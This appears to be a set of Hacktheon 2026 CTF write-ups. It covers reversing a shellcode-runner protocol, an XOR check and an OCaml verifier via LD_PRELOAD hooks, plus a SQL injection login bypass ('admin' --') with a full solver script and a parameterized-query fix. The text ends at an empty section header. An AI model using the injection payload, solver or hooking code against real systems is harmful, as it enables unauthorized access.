# Hacktheon Sejong 2026
## PWN
###
## REV
### Brain Outside
````
# Brain Outside — Writeup
> **Hacktheon 2026 / Sejong Cyber CTF — Reverse, 541 pt**
> **Flag:** `hacktheon2026{90364e95eddf0fc1d5f54662d8e80913}`
---
## 1. Recon
The challenge gives us only:
```
./client 3.38.146.7 31337
./client 54.180.255.106 31337
./client 43.203.148.171 31337
```
`client` is a static-stripped ELF-x86-64, ~720 KB. `strings` reveals
nothing flag-related — only glibc symbols.
Following the main `recv` loop in GDB, the protocol is straightforward:
```
read 4 bytes → length L (little-endian)
mmap(L+0x10, RWX, MAP_PRIVATE|ANON)
read L bytes → buffer
call buffer() ; called as a function; RBP holds socket FD
send 12 bytes ← <u32 8> <u64 RAX>
loop
```
So **all challenge logic lives on the server** — the binary is just a
"shellcode runner" that exec's whatever bytes the server sends and pipes
the return value back. That's the meaning of the title — **Brain
Outside** ("Where is code?").
A breakpoint at `0x401a49` (just before `call`) lets us dump every
incoming stage:
```python
class StageDumpBP(gdb.Breakpoint):
def stop(self):
rsp, rbx = int(gdb.parse_and_eval("$rsp")), int(gdb.parse_and_eval("$rbx"))
L = struct.unpack("<I", inferior.read_memory(rsp,4).tobytes())[0]
open(f"dump/stage_{counter['n']:03d}.bin","wb").write(
inferior.read_memory(rbx, L).tobytes())
counter["n"] += 1
return False
```
## 2. Stage layout — self-decrypting loaders
Every stage starts with a small **loader stub** that decrypts itself in
place:
```asm
e8 00 00 00 00 call $+5 ; PC-relative trick
5e pop rsi ; rsi = address of next byte
48 b8 <8B> movabs rax, KEY
50 push rax ; key on stack
48 8d be <off32> lea rdi, [rsi+off] ; rdi = encrypted region
b9 <imm32> mov ecx, LEN
xor + loop ; data[i] ^= key[i & 7]
ff e7 jmp *rdi ; jump into decrypted body
```
The loader has multiple variants (single-byte XOR + cumulative-ADD,
random anti-debug fluff before `e8 00 00 00 00`, …). Re-implementing
each variant in Python is fragile.
The clean approach: **let the loader decrypt itself**. Copy the stage
into an RWX page, find the trailing `ff e7` (jmp) and patch it to
`c3 90` (`ret; nop`), then call the page as a `void*(*)(void)`. The CPU
runs whatever obfuscation the author wrote, then `ret`s instead of
falling into the verifier — and we read the plaintext back from memory.
```python
def decrypt_stage(stage):
p = stage.find(b"\xe8\x00\x00\x00\x00\x5e")
after = stage.find(b"\x48\x8d\xbe", p, p+0x30)
rdi_off = struct.unpack("<i", stage[after+3:after+7])[0]
enc_off = (p+5) + rdi_off
# find the LAST `ff e7` before enc_off (loader's tail jmp)
jmp_pos = max(i for i in range(p, enc_off-1)
if stage[i]==0xff and stage[i+1]==0xe7)
patched = bytearray(stage)
patched[jmp_pos], patched[jmp_pos+1] = 0xc3, 0x90 # ret; nop
addr = libc.mmap(None, _round_up(len(patched), 0x1000),
PROT_R|PROT_W|PROT_X, MAP_PRIVATE|MAP_ANON, -1, 0)
ctypes.memmove(addr, bytes(patched), len(patched))
ctypes.cast(addr, ctypes.CFUNCTYPE(ctypes.c_uint64))() # decrypts in place
return ctypes.string_at(addr, len(patched)), enc_off
```
## 3. Stage taxonomy
After decryption, every stage falls into one of these buckets:
| Type | Size | What it does | Expected RAX |
|---|---|---|---|
| size check | 148 B | `fstat(flag.png)`, asserts `st_size == 0x8c48f8` | 1 |
| header check | 150–250 B | `cmp [r13+offset], imm` against PNG magic / IHDR / CRC | 1 |
| `Solve:` | ~190 B | Prints `Solve: (a OP b) OP c = ?`, reads stdin, atoi, returns | the int |
| `Input:` (figlet) | ~200–500 B | Renders a number as figlet `standard`, reads stdin, returns | the rendered int |
| ptrace check | 87 B | `ptrace(PTRACE_TRACEME)` → `0xdead0000`/`0xdead0001` | normally `0xdead0000` |
| **Verifier-A** | ~102 KB | `for i: cmp (flag[base+i-1] ^ flag[base+i]), tbl[i]` | 1 |
| **Verifier-B** | ~204 KB | Two tables: `flag[base+i] == tblA[i] ^ tblB[i]` | 1 |
| **Verifier-D** | ~102 KB | `(flag[base+i] - flag[base+i-1]) mod 256 == tbl[i]` | 1 |
| **Verifier-E** | ~102 KB | `flag[base+i] == tbl[i]` (direct equality) | 1 |
| Verifier-C | ~409 KB | Sample-based hash, not invertible | 1 |
| Final | 78 B | `write(1, "All stages passed! Congratulations!\n", 36); exit(0)` | — |
`Solve:` is just a safe `eval()`. Figlet stages need OCR — the server
uses figlet's `standard` font, so we render each digit `0–9` with
`pyfiglet`, trim trailing/leading blank columns, and store as templates.
Then we split the on-wire banner into blocks separated by all-blank
columns and match each block against the templates
(`ascii_digit_ocr.py`):
```
_____ ___ _____ _ _ _ _ ____
|___ / / _ \ |___ | | || | | || | |___ \
|_ \ | (_) | / / | || |_ | || |_ __) |
___) | \__, | / / |__ _| |__ _| / __/
|____/ /_/ /_/ |_| |_| |_____|
→ 397442
```
## 4. Solver
`solver_v2.py` drives the whole interaction. Per stage:
1. Decrypt the loader → plaintext shellcode.
2. If it contains `"Solve:"` → eval the expression, pipe `<answer>\n`
to the runner's stdin.
3. If it contains `"Input:"` → extract the figlet banner, OCR it, pipe
the integer to stdin.
4. If it's a **flag.png verifier** (`"flag.png"` is in the body and
neither prompt is) → **send `retval=1` blindly, skip execution**.
Without the real `flag.png` the runner would return 0; the server
only checks pass/fail, so `1` is the right answer for every verifier.
5. Anything else (ptrace, math, figlet) → execute natively in
`shellcode_runner.py` and capture `RAX`.
```python
if is_flag_verifier:
rax = 1
else:
rax = run_stage_natively(body, stdin_data)
```
Run the solver against any of the three IPs, walk through ~100 stages,
and the server replies:
```
All stages passed! Congratulations!
```
…but **no flag** is printed. The server does not hand it over here.
## 5. Where the actual flag lives — `flag.png`
The flag is **inside the `flag.png` file that every verifier compares
against**. Each verifier leaks a contiguous `0x18f08`-byte slice of
`flag.png` via the comparison table embedded in its shellcode.
Inverting each table type:
```python
# Type-A (cumulative XOR)
rec[0] = tbl[0]; rec[i] = rec[i-1] ^ tbl[i]
# Type-B (two tables)
rec = bytes(a ^ b for a,b in zip(tblA, tblB))
# Type-D (modular delta)
rec[0] = tbl[0]; rec[i] = (rec[i-1] + tbl[i]) & 0xff
# Type-E (direct equality)
rec = tbl
```
Each connection sends ~100 stages with random base offsets. Collecting
**6 000+ stages** from many connects to all three IPs and merging the
recovered slices by file offset, we end up at **97.78 %** of `flag.png`
— missing exactly two `0x18f09`-byte chunks:
```
file size = 0x8c48f8 (9,193,720 bytes)
[# KNOWN ##############################################################]
^^^^^^^^ ^^^^^^^^
k=0 chunk k=7 chunk
[0..0x18f09) [0xae93f..0xc7848)
← PNG header + IHDR + IDAT[0]
97.78 % covered, 2.22 % missing
```
### The final twist — disp8 encoding
The pattern matcher initially handled only `lea rsi, [r13+disp32]`
(`49 8d b5 <imm32>`). But x86 also has the compact short form
`lea rsi, [r13+disp8]` (`49 8d 75 <imm8>`), used **only when the offset
fits in a signed byte (`< 128`)** — which means *exactly* the chunk at
`base = 0`. That's the chunk holding the PNG header + IHDR + first
IDAT, the chunk the puzzle author "hid" by making sure the random
generator never picks a multiple-of-`0x18f09` base equal to zero.
The disp8 verifier looks like this:
```asm
; ...open/mmap flag.png as r13...
49 8d 75 00 lea rsi, [r13+0] ; <-- BASE = 0
e8 00 00 00 00 call $+5
5f pop rdi
48 8d bf 6f 00 00 00 lea rdi, [rdi+0x6f] ; -> table
b9 09 8f 01 00 mov ecx, 0x18f09 ; LEN
8a 06 mov al, [rsi]
3a 07 cmp al, [rdi]
75 42 jne FAIL
48 ff c6 inc rsi
48 ff c7 inc rdi
ff c9 dec ecx
75 f0 jne loop
; return 1
table @ 0xdd: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 ...
|---- PNG magic ----|----IHDR len----|---- IHDR ----|
```
Adding one extra regex captures it:
```python
# disp8 form recovers the missing first chunk
m = re.compile(rb"\x49\x8d\x75(.)\xe8\x00\x00\x00\x00\x5f\x48\x8d\xbf(....)").search(body)
```
After also dropping the (incorrect) assumption that all bases are
multiples of `0x18f09` (some Type-D/E verifiers use arbitrary offsets),
a final scan over the 6 419 collected stages gives:
```
type-A: 1120, type-B: 1108, type-D: 834, type-E: 859 (2498 skipped — non-flag stages)
coverage: 9193720 / 9193720 bytes (100.00%)
```
`flag.png` is now fully reconstructed: a 3024 × 2005 RGB photograph of
a small island off Jeju on a cloudy day, with white sans-serif text
overlaid roughly across the horizon line:
```
hacktheon2026{90364e95eddf0fc1d5f54662d8e80913}
```
A quick sanity check — the IHDR we recover verifies its CRC:
```
IHDR data: width=3024, height=2005, bit_depth=8, color_type=2 (RGB),
compression=0, filter=0, interlace=0
zlib.crc32(b"IHDR" + ihdr_data) == 0x4f8d505a ✓ matches file
```
## 6. Repo layout
| File | Purpose |
|---|---|
| `stage_decoder.py` | Self-decryption via `ff e7` → `c3 90` patch + `ctypes` call |
| `ascii_digit_ocr.py` | figlet `standard`-font number → `int` |
| `shellcode_runner.py` | Sandbox runner; writes `RAX` to a file |
| `solver_v2.py` | Main solver: connect → answer every stage → `Congratulations!` |
| `reconstruct_flagpng.py` | Pulls tables out of A/B/D/E verifiers (disp8 + disp32) and merges into `flag.png` |
| `flag.png` | The reconstructed file (9 193 720 bytes, 100 % recovered) |
### Reproducing
```bash
# Deps
pip install --break-system-packages pyfiglet capstone pillow
# 1. Drive the protocol many times to collect verifier tables
mkdir -p collected_dumps
for i in $(seq 1 30); do
rm -rf solver_v2_dump
python3 solver_v2.py 3.38.146.7 31337 >/dev/null 2>&1
[ -d solver_v2_dump ] && mv solver_v2_dump collected_dumps/run_$i
done
# 2. Reconstruct
python3 reconstruct_flagpng.py collected_dumps/*
# → flag_reconstructed.bin (9 193 720 bytes; 100 % if enough runs)
# 3. View
mv flag_reconstructed.bin flag.png
xdg-open flag.png
# Flag text is rendered around y = 660–730 in the image.
```
## Lessons
- **"Where is code?"** isn't just flavour text — the server is the only
place the logic lives. No amount of static analysis on the binary
itself will yield the flag.
- `mmap(RWX) + patch + call` for self-decrypting loaders beats
re-implementing each variant in Python: the CPU handles every
obfuscation/anti-debug trick for free, you just pluck the result out
of memory.
- When grepping byte patterns, **mind the short encodings of x86**: the
same instruction can have disp8/disp16/disp32 forms, optional REX
prefixes, and so on. Missing the disp8 form was exactly the 2.22 % of
coverage that contained the flag.
- Conflicts during constraint extraction (e.g. `flag[0x4]: 0x0d vs
0x36`) are a strong tell that the regex is hitting random bytes
inside verifier tables. Anchoring the pattern with the trailing
`\x75` (jne) of the cmp/jne pair eliminates the false positives.
````
### Recover It!
````
# Recover It! - Write-up
**Category:** Reverse
**Points:** 1000
## 1. Challenge Description
The challenge provides a zip file containing a binary named `prob`.
Challenge hint:
> My flag has gone by ransomware T.T
> But hacker is dumb, i think.
> Can you recover it?
Flag format:
```text
hacktheon2026{correct_input}
```
The goal is to recover `correct_input`.
---
## 2. Initial Recon
Extract the archive:
```bash
unzip for_user.zip
```
Check the binary:
```bash
file prob
```
The result shows that this is a 64-bit ELF binary and it is **not stripped**, so reversing it should be straightforward.
Run the program:
```bash
./prob
```
The binary asks for an input. If the length is wrong, it prints:
```text
Input length mismatch!
```
So the program is clearly validating a fixed-length input.
---
## 3. Reversing the Logic
Because the binary is not stripped, we can inspect it with `objdump`:
```bash
objdump -d -Mintel prob | sed -n '/<main>:/,/^$/p'
```
The important part of `main` is effectively:
```c
scanf("%s", buf);
if (strlen(buf) != 0x40) {
puts("Input length mismatch!");
return 1;
}
for (i = 0; i <= 0x3f; i++) {
buf[i] = buf[i] ^ (i + 0x67);
}
if (memcmp(buf, cmptable, 0x40) == 0)
puts("Correct!");
else
puts("Wrong..");
```
### Observations
- The input must be exactly **64 characters** long.
- Each byte is XORed with `(index + 0x67)`.
- The transformed buffer is compared against a constant table `cmptable`.
This means the “ransomware” is actually just a very weak XOR transformation, which is easy to reverse.
---
## 4. Extracting `cmptable`
Dump the `.data` section:
```bash
objdump -s -j .data prob
```
From there, we can recover the `cmptable` bytes starting at `0x4020`:
```text
55 5a 0a 59 5f 09 55 5f 56 14 43 4a 43 44 11 14
41 48 4c 1e 42 1a 19 1c 1c b9 e3 e3 ba e5 e7 b1
b6 ec bf e8 b2 bd ba bb eb a6 f3 a1 f1 a4 a4 a0
f4 ac a0 f9 ff a5 a9 a8 ad 94 c7 97 97 91 c6 95
```
---
## 5. Recovering the Original Input
The program computes:
```c
enc[i] = input[i] ^ (i + 0x67)
```
So to recover the original input, we simply reverse it:
```c
input[i] = enc[i] ^ (i + 0x67)
```
Python script:
```python
cmptable = bytes.fromhex(
"55 5a 0a 59 5f 09 55 5f 56 14 43 4a 43 44 11 14 "
"41 48 4c 1e 42 1a 19 1c 1c b9 e3 e3 ba e5 e7 b1 "
"b6 ec bf e8 b2 bd ba bb eb a6 f3 a1 f1 a4 a4 a0 "
"f4 ac a0 f9 ff a5 a9 a8 ad 94 c7 97 97 91 c6 95"
)
flag_input = ''.join(chr(cmptable[i] ^ (i + 0x67)) for i in range(64))
print(flag_input)
```
Recovered input:
```text
22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3
```
---
## 6. Verification
Run the binary again with the recovered input:
```bash
printf '22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3\n' | ./prob
```
Output:
```text
Input: Correct!
```
So the recovered input is valid.
---
## 7. Flag
Using the required format, the final flag is:
```text
hacktheon2026{22c34e819d2800db605d9fdbc9ba9ab71d6b9175d6b3b016c49cd94624f545c3}
```
````
### Until Executing
````
# Until Executing — Writeup
## Challenge info
- **Name:** Until Executing
- **Category:** Reverse Engineering
- **Points:** 1000
## TL;DR
The program reads a 64-character payload, runs **two independent OCaml verifiers** in forked child processes, and if both children succeed it prints:
```text
hacktheon2026{<your_input>}
```
The recovered payload is:
```text
ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93
```
So the final flag is:
```text
hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93}
```
---
## 1. First look
The provided file is a 64-bit Linux ELF:
```bash
$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, ...
```
Even though it is nominally stripped, it still exports a lot of **OCaml-generated symbols**:
```bash
$ nm -D challenge | egrep 'caml(Main|Proc_a|Proc_b|Shared_types|Shared_ops)'
...
000000000005fa40 T camlMain__entry
000000000005f880 T camlMain__input_ok_288
000000000005fa10 T camlMain__output_flag_of_input_595
0000000000061e10 T camlProc_a_engine__verify_432
000000000005fe70 T camlProc_b_engine__verify_432
0000000000063240 T camlProc_a_handlers__base_verify_636
0000000000060790 T camlProc_b_handlers__base_verify_610
...
```
That immediately tells us this is an OCaml binary split into a few meaningful modules:
- `Main`
- `Shared_types`
- `Shared_ops`
- `Proc_a_engine` / `Proc_a_handlers`
- `Proc_b_engine` / `Proc_b_handlers`
This is already a huge gift: instead of reversing a totally anonymous blob, we can follow the module names and exported function names.
---
## 2. Input format
A quick `strings` pass reveals two very useful constants:
```bash
$ strings -n 4 challenge | egrep 'hacktheon2026|abcdefghijklmnopqrstuvwxyz_0123456789!|Wrong\.'
Wrong.
hacktheon2026{
abcdefghijklmnopqrstuvwxyz_0123456789!
```
The input validation lives in `camlMain__input_ok_288`.
Two things happen there:
1. The input length is checked against the tagged OCaml integer `0x81`.
2. Every character is checked with `camlShared_types__valid_char_349`.
The first point means the real length is **64** because OCaml integers are tagged as `(n << 1) | 1`, so:
```text
64 -> 64 * 2 + 1 = 129 = 0x81
```
The second point means every character must come from this 38-character alphabet:
```text
abcdefghijklmnopqrstuvwxyz_0123456789!
```
So the raw search space is:
```text
38^64
```
which is obviously not something we brute force directly.
---
## 3. Main control flow
The main logic is very clean once you look at `camlMain__entry`.
High-level behavior:
1. Read a line.
2. Reject unless `input_ok` passes.
3. Fork child **A** and run `camlProc_a_engine__verify`.
4. Fork child **B** and run `camlProc_b_engine__verify`.
5. `waitpid()` both children.
6. If both statuses are OK, print `hacktheon2026{<input>}`.
7. Otherwise print `Wrong.`.
So the flag is **not stored separately**. The input itself is the flag body.
That also means the job is to recover a 64-character string that satisfies **both** verifier pipelines.
---
## 4. Static reversing of the two verifiers
### 4.1 Proc A target
`camlProc_a_handlers__base_verify_636` is short and friendly:
```asm
0000000000063240 <camlProc_a_handlers__base_verify_636>:
call camlProc_a_handlers__final_digest_a_627
mov ebx,0x8436f275
cmp rax,rbx
sete al
```
So Proc A ultimately computes a digest and compares it against:
```text
0x8436f275
```
### 4.2 Proc B target
`camlProc_b_handlers__base_verify_610` is slightly bigger, but the last comparison is still obvious:
```asm
0000000000060790 <camlProc_b_handlers__base_verify_610>:
...
cmp rdx,0x36857515
jne failure
```
So Proc B ultimately wants:
```text
0x36857515
```
### 4.3 Per-character processing
Both engines (`camlProc_a_engine__run_354` and `camlProc_b_engine__run_354`) do the same general thing:
- explode the input string into a list of chars,
- walk it character by character,
- map each char to a tag,
- dispatch to a character-specific handler,
- accumulate state,
- perform a final digest check at the end.
In other words, this is **not** one monolithic hash. It is a structured pipeline with **character-specific closures**, rolling state, and a final digest.
That structure is the reason a practical dynamic solve works so well.
---
## 5. Best trick: use the OCaml runtime against itself
At this point there are two options:
1. fully decompile every closure and rebuild the math by hand, or
2. inject into the process and ask the already-initialized OCaml runtime for the data and closures we need.
I chose the second option.
The cleanest place to hook is **`waitpid()`** in the parent process.
Why?
- the OCaml runtime has already been initialized,
- all module globals are materialized in memory,
- exported symbols such as `camlProc_a_handlers` and `camlProc_b_handlers` point to valid OCaml values,
- we can use `dlsym()` to recover them.
This avoids a lot of annoying bootstrap problems.
---
## 6. Dumping verifier constants with `LD_PRELOAD`
The first helper only dumps the important constant arrays from the handler modules.
### 6.1 Dumper
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
typedef uintptr_t value;
#define Is_long(v) (((v) & 1) != 0)
#define Long_val(v) (((intptr_t)(v)) >> 1)
#define Field(v, i) (((value *)(v))[i])
static void dump_array(const char *name, value arr, int n) {
fprintf(stderr, "%s = [", name);
for (int i = 0; i < n; i++) {
value x = Field(arr, i);
fprintf(stderr, "%ld", (long)Long_val(x));
if (i + 1 != n) fprintf(stderr, ",");
}
fprintf(stderr, "]\n");
}
static void do_dump(void) {
value *pa = (value *)dlsym(RTLD_DEFAULT, "camlProc_a_handlers");
value *pb = (value *)dlsym(RTLD_DEFAULT, "camlProc_b_handlers");
dump_array("pa15", pa[15], 64);
dump_array("pa16", pa[16], 64);
dump_array("pb12", pb[12], 64);
dump_array("pb13", pb[13], 64);
}
pid_t waitpid(pid_t pid, int *status, int options) {
static pid_t (*real_waitpid)(pid_t, int *, int) = NULL;
static int dumped = 0;
if (!real_waitpid) real_waitpid = dlsym(RTLD_NEXT, "waitpid");
if (!dumped) {
dumped = 1;
do_dump();
}
return real_waitpid(pid, status, options);
}
```
Compile it and preload it:
```bash
gcc -shared -fPIC -O2 -o dump_ocaml_arrays.so dump_ocaml_arrays.c -ldl
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n' \
| LD_PRELOAD=./dump_ocaml_arrays.so ./challenge
```
### 6.2 Dumped arrays
This gives four 64-element arrays:
```text
pa15 = [223,14,97,78,188,86,228,147,90,250,230,6,84,163,132,217,39,5,207,75,244,76,88,170,215,1,212,36,140,31,100,40,142,157,84,242,207,48,247,1,167,111,84,68,76,233,110,106,7,67,60,69,12,27,99,15,136,170,117,72,35,21,163,144]
pa16 = [75,178,211,102,117,109,71,75,128,112,38,91,30,119,79,202,231,185,183,66,94,157,212,220,107,240,31,161,197,57,92,242,187,99,5,153,15,228,6,102,171,112,214,21,196,212,44,99,108,244,11,252,182,110,197,226,161,233,94,177,53,138,254,4]
pb12 = [99,33,48,141,158,197,176,49,1,218,16,244,81,88,163,214,213,95,65,48,253,191,202,198,144,105,4,135,241,123,199,156,207,188,33,2,51,58,30,45,141,40,9,245,238,144,120,147,188,102,220,53,253,202,79,134,183,128,25,49,43,157,110,27]
pb13 = [76,86,139,206,150,60,34,188,43,222,213,65,232,169,188,155,127,0,50,80,47,253,253,248,84,196,197,103,209,236,74,77,97,88,232,16,82,186,187,143,3,221,250,118,168,224,73,146,53,130,156,255,188,64,164,252,84,120,206,227,107,196,202,157]
```
These arrays are exactly the kind of data you expect from a character-by-character verifier: fixed per-position constants that get mixed with the current state.
---
## 7. Calling the hidden verifiers directly
The next helper uses the OCaml runtime API itself.
Instead of sending input through the normal child-process path every time, we can directly call the verifier closures stored in the OCaml module globals.
### 7.1 Direct verifier helper
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
typedef uintptr_t value;
#define Long_val(v) (((intptr_t)(v)) >> 1)
typedef value (*caml_copy_string_fn)(const char *);
typedef value (*caml_callback_fn)(value, value);
static void do_check(void) {
const char *s = getenv("TRY");
value *pea = (value *)dlsym(RTLD_DEFAULT, "camlProc_a_engine");
value *peb = (value *)dlsym(RTLD_DEFAULT, "camlProc_b_engine");
caml_copy_string_fn caml_copy_string =
(caml_copy_string_fn)dlsym(RTLD_DEFAULT, "caml_copy_string");
caml_callback_fn caml_callback =
(caml_callback_fn)dlsym(RTLD_DEFAULT, "caml_callback");
value vs = caml_copy_string(s);
value va = caml_callback(pea[2], vs);
value vb = caml_callback(peb[2], vs);
fprintf(stderr, "Va raw=0x%lx long=%ld\n", (unsigned long)va, (long)Long_val(va));
fprintf(stderr, "Vb raw=0x%lx long=%ld\n", (unsigned long)vb, (long)Long_val(vb));
}
pid_t waitpid(pid_t pid, int *status, int options) {
static pid_t (*real_waitpid)(pid_t, int *, int) = NULL;
static int done = 0;
if (!real_waitpid) real_waitpid = dlsym(RTLD_NEXT, "waitpid");
if (!done) {
done = 1;
do_check();
}
return real_waitpid(pid, status, options);
}
```
In OCaml's tagged representation:
- `false = 1`
- `true = 3`
So a valid full candidate gives `0x3` for both A and B.
### 7.2 Example outputs
Wrong candidate:
```text
TRY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Va raw=0x1 long=0
Vb raw=0x1 long=0
```
Correct candidate:
```text
TRY=ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93
Va raw=0x3 long=1
Vb raw=0x3 long=1
```
So at this point we have a very nice **A/B acceptance oracle**.
---
## 8. How I actually solved it
The full clean-room decompilation of every OCaml closure is possible, but it is unnecessary here.
The much faster route is:
1. **Use static reversing** to identify:
- input length,
- alphabet,
- verifier split (A and B),
- final digest targets,
- constant per-position arrays.
2. **Use dynamic instrumentation** to turn the verifier into an oracle.
3. **Replay the per-character handler logic inside the live runtime** and count how many local checks each prefix satisfies.
The important observation is that the verifier is not a single opaque hash; every character dispatch builds a layer containing small local predicates plus rolling state. Once those closures are reused from inside the running process, the binary becomes a **guided search problem** rather than a blind brute force.
### 8.1 Practical search strategy
I used a small preload-based scoring helper that:
- rebuilds the OCaml representation of a candidate string,
- replays the same character-dispatch logic the binary uses,
- extracts the layer state produced at each position,
- evaluates the local predicates for that position,
- keeps only prefixes that continue to satisfy all accumulated constraints,
- finally checks Proc A and Proc B end-to-end.
In pseudocode, the outer search looks like this:
```python
alphabet = "abcdefghijklmnopqrstuvwxyz_0123456789!"
candidates = [""]
for i in range(64):
nxt = []
for prefix in candidates:
for ch in alphabet:
s = prefix + ch
if local_checks_still_hold(s):
nxt.append(s)
candidates = prune(nxt)
for s in candidates:
if verify_a(s) and verify_b(s):
print(s)
```
The key point is that `local_checks_still_hold()` is not guessed or reimplemented by hand; it is obtained by **calling the binary's own OCaml closures** from inside the process.
That is what makes the search tractable.
### 8.2 Why this works well here
This challenge is especially friendly to that approach because:
- the symbol names are still present,
- the verifier is split into clean OCaml modules,
- the runtime exports `caml_copy_string`, `caml_callback`, etc.,
- both handler modules expose stable global arrays and closures,
- the final flag is just the accepted input wrapped in a prefix and suffix.
So instead of fighting the language runtime, we simply reuse it.
---
## 9. Recovered payload
The accepted 64-character payload is:
```text
ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93
```
And the flag is therefore:
```text
hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93}
```
---
## 10. Final verification
```bash
$ printf '%s\n' 'ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93' | ./challenge
hacktheon2026{ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93}
```
---
## 11. Takeaways
- OCaml binaries can look scary at first, but preserved `caml*` symbols are an enormous advantage.
- If the runtime API is available, `LD_PRELOAD` can be much faster than full manual decompilation.
- Hooking **after** runtime initialization is often the cleanest move.
- In this challenge the best solution was not “understand every line perfectly” but “extract the structure, then let the program verify itself.”
---
## Appendix: tiny checklist for reproduction
```bash
# 1) inspect the binary
file challenge
nm -D challenge | less
objdump -Mintel -d challenge | less
strings -n 4 challenge | less
# 2) dump arrays
LD_PRELOAD=./dump_ocaml_arrays.so ./challenge
# 3) validate arbitrary candidate directly in-process
TRY='candidate_here' LD_PRELOAD=./check_try.so ./challenge
# 4) verify final answer normally
printf '%s\n' 'ovajumher0erwkl28_i8eecp!hb5enitsj6ly5hx05qel7a2z1gb6y8vi4fd4l93' | ./challenge
```
If the binary does not run cleanly on your host because of libc / loader differences, use a compatible container or patch the interpreter path first. The reversing method above does not change.
````
## WEB
simple sqli :
```
# simple-sqli Writeup
## Challenge
**Name:** simple-sqli
**Category:** Web / SQL Injection
**Points:** 250
**Description:** SO SIMPLE!
Targets:
- `http://43.203.99.42:8000/`
- `http://15.164.182.205:8000/`
## Vulnerability
The Flask application constructs a SQL query with direct string interpolation:
```python
query = (
"SELECT username, role, secret FROM users "
f"WHERE username = '{username}' AND password = '{password}'"
)
```
Because `username` and `password` are inserted directly into the SQL statement, the login form is vulnerable to SQL injection.
The database is initialized with two users:
```sql
INSERT INTO users (username, password, role, secret) VALUES
('guest', 'guest', 'user', 'nothing to see here'),
('admin', 'fake_password', 'admin', '{{FLAG}}');
```
If the returned row has role `admin`, the app saves the returned `secret` in the Flask session and redirects to `/flag`:
```python
elif user["role"] == "admin":
session["role"] = "admin"
session["username"] = user["username"]
session["secret"] = user["secret"]
return redirect(url_for("flag_page"))
```
## Exploit
Use the username field to close the quoted string and comment out the password check:
```text
admin' --
```
The resulting query becomes:
```sql
SELECT username, role, secret FROM users
WHERE username = 'admin' -- ' AND password = 'anything'
```
The `-- ` comment removes the rest of the `WHERE` clause, so the query returns the `admin` row without knowing the admin password.
Once the admin row is returned, the application redirects to `/flag`, where the `secret` value is displayed.
## Solver
```python
#!/usr/bin/env python3
from __future__ import annotations
import re
import sys
from html import unescape
from typing import Iterable
from urllib.parse import urljoin
import requests
DEFAULT_TARGETS = [
"http://43.203.99.42:8000/",
"http://15.164.182.205:8000/",
]
FLAG_RE = re.compile(r"hacktheon2026\{[^}\s]+\}|[A-Z0-9_]+\{[^}\s]+\}")
SECRET_RE = re.compile(
r'<span class="info-value(?: [^"]*)?">\s*(.*?)\s*</span>',
re.IGNORECASE | re.DOTALL,
)
def normalize_base(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url.rstrip("/") + "/"
def extract_flag_or_secret(html: str) -> str | None:
html = unescape(html)
match = FLAG_RE.search(html)
if match:
return match.group(0)
spans = [re.sub(r"<[^>]+>", "", m).strip() for m in SECRET_RE.findall(html)]
spans = [s for s in spans if s and s not in {"admin", "user"}]
if spans:
return spans[-1]
return None
def solve(base_url: str) -> str:
base_url = normalize_base(base_url)
session = requests.Session()
payload = "admin' -- "
response = session.post(
base_url,
data={"username": payload, "password": "anything"},
allow_redirects=True,
timeout=10,
)
response.raise_for_status()
html = response.text
if "/flag" not in response.url:
flag_page = session.get(urljoin(base_url, "flag"), timeout=10)
if flag_page.ok:
html = flag_page.text
flag = extract_flag_or_secret(html)
if not flag:
raise RuntimeError("exploit ran, but no flag/secret was found in the response")
return flag
def main(argv: Iterable[str]) -> int:
targets = list(argv) or DEFAULT_TARGETS
last_error: Exception | None = None
for target in targets:
try:
flag = solve(target)
except Exception as exc:
last_error = exc
print(f"[-] {target}: {exc}", file=sys.stderr)
continue
print(f"[+] target: {normalize_base(target)}")
print(f"[+] flag: {flag}")
return 0
print(f"[!] all targets failed: {last_error}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1:]))
```
## Usage
Install dependencies if needed:
```bash
python3 -m pip install requests
```
Run against the default mirrors:
```bash
python3 solve.py
```
Or run against a specific mirror:
```bash
python3 solve.py http://43.203.99.42:8000/
```
Expected output:
```text
[+] target: http://43.203.99.42:8000/
[+] flag: hacktheon2026{...}
```
## Fix
Use parameterized SQL instead of formatting user input into the query:
```python
cursor = conn.execute(
"SELECT username, role, secret FROM users WHERE username = ? AND password = ?",
(username, password),
)
```
This keeps user-controlled values as data, not executable SQL syntax.
### Dark habour 1 & 2
```
---
title: "Dark Harbor 1"
ctf: "HackTheon 2026"
date: 2026-04-25
category: web
difficulty: hard
points: 939
flag_format: "hacktheon2026{...}"
---
# Dark Harbor 1
## Summary
